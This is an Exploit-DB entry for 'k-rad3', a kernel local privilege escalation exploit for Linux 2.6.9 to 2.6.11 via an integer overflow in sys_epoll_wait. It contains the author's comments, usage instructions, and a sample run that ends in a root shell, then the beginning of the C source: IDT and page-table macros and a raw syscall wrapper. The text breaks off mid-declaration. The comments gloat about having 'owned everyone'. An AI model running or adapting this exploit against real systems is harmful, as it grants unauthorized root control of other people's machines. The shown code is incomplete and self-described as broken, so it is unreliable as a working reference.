Exploit-DB #1397
Description: Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-12-30
Author: alert7

Exploit:
/*
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
* Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
*
*********************************************************************
*
* Modified 2005/9 by alert7 <alert7@xfocus.org>
* XFOCUS Security Team http://www.xfocus.org
*
* gcc -o k-rad3 k-rad3.c -static -O2
*
* tested succeed :
*        on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
*             2.6.9-5.EL ./k-rad3 -p 2
*             2.6.9-5.ELsmp ./k-rad3 -a -p 7
*        on default installed maglic linux 1.2 
*             MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
*
* thank watercloud tested maglic linux 1.2
* thank eist provide RHEL4 to test
* thank sd <sd@fucksheep.org> share his stuff.
* thank xfocus & xfocus's firends
*
*
* TODO:
*         CASE 1: use stack > 0xc0000000
*         CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
*
*[alert7@MagicLinux ~]$ ./k-rad3 -h
*[  k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit  ]
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
*
*Usage: ./k-rad3
*       -s forced cpu flag pse
*        -a define CONFIG_X86_PAE,default none
*        -e <num> have two kernel code,default 0
*        -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
*                The higher number the more likely it will crash
*        -t <num> default 0
*                0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*
*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
*[  k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit  ]
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
*[+] try open /proc/cpuinfo .. ok!!
*[+] find cpu flag pse in /proc/cpuinfo
*[+] CONFIG_X86_PAE :none
*[+] Cpu flag: pse ok
*[+] Exploit Way : 0
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*[+] idtr.base 0xc0461000 ,base 0xc0000000
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
*[+] idt[0x7f] addr 0xffc003f8
*[+] j00 1u(k7 k1d!
*[root@k-rad3 ~] #id
*uid=0(root) gid=0(root) groups=500(alert7)
*
*
*  Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
* 
* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) 
* memory due to integer overflow in sys_epoll_wait and misuse of
* __put_user in ep_send_events"
* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
*********************************************************************
*
*
* In memory of pwned.c (uselib)
* 
* - Redistributions of source code is not permitted.
* - Redistributions in the binary form is not permitted.
* - Redistributions of the above copyright notice, this list of conditions,
* and the following disclaimer is permitted.
* - By proceeding to a Redistribution and under any form of the Program
* the Distributor is granting ownership of his Resources without
* limitations to the copyright holder(s).
*
* 
* Since we already owned everyone, theres no point keeping this private
* anymore.
*
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
* Thanks to our internet hero georgi guninski for being such incredible
* whitehat disclosing one of the most reliable kernel bugs.
* You saved the world, man, we owe you one!
*
* This version is somewhat broken, but skilled reader will get an idea.
* Well, at least let the scriptkids have fun for a while.
*
* Thanks to all who helped me developing/testing this, you know who you are,
* and especially to my gf for guidance while coding this.
*
*/

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <asm/unistd.h>
#ifndef __USE_GNU
	#define __USE_GNU
#endif
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <string.h>

/**
  * Relationship Variables
  *
  * 1: CONFIG_X86_PAE 
  *     see /lib/modules/`uname -r`/build/.config
  *     1.1: pse
  * 2: THREAD_SIZE
  *     see include/asm/thread_info.h THREAD_SIZE define
  */


#define MAP (0xfffff000 - (1023*4096))
#define MAP_PAE (0xfffff000 - (511*4096))
#define MKPTE(addr) ((addr & (~4095)) | 0x27)
#define MKPMD(x) (0x1e3|0x004)

////////////////////////////////////////////////

#define KRADPS1 "k-rad3"

#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB

#define KRS "\033[1;30m[ \033[1;37m"
#define KRE "\033[1;30m ]\033[0m"
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "

#define SET_IDT_GATE(idt,ring,s,addr) \
	(idt).off1 = addr & 0xffff; \
	(idt).off2 = addr >> 16; \
	(idt).sel = s; \
	(idt).none = 0; \
	(idt).flags = 0x8E | (ring << 5); 

//config val
static int havepse 		= 0;
static int definePAE	= 0;
static int exploitway	= 0;
static int npages 		= 1;
static int thread_size   = 0;


static uid_t uid		= 0;
static unsigned long long *clear1;
static char * progargv0;

struct idtr {
	unsigned short limit;
	unsigned int base;
} __attribute__ ((packed));

struct idt {
	unsigned short off1;
	unsigned short sel;
	unsigned char none,flags;
	unsigned short off2;
} __attribute__ ((packed));



#define __syscall_return(type, res) \
do { \
	if ((unsigned long)(res) >= (unsigned long)(-125)) { \
	errno = -(res); \
	res = -1; \
	} \
	return (type) (res); \
} while (0)


#define _capget_macro(type,name,type1,arg1,type2,arg2) \
	type name(type1 arg1,type2 arg2) \
	{ \
	long __res; \
	__asm__ volatile ( "int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
	__syscall_return(type,__res); \
	}

static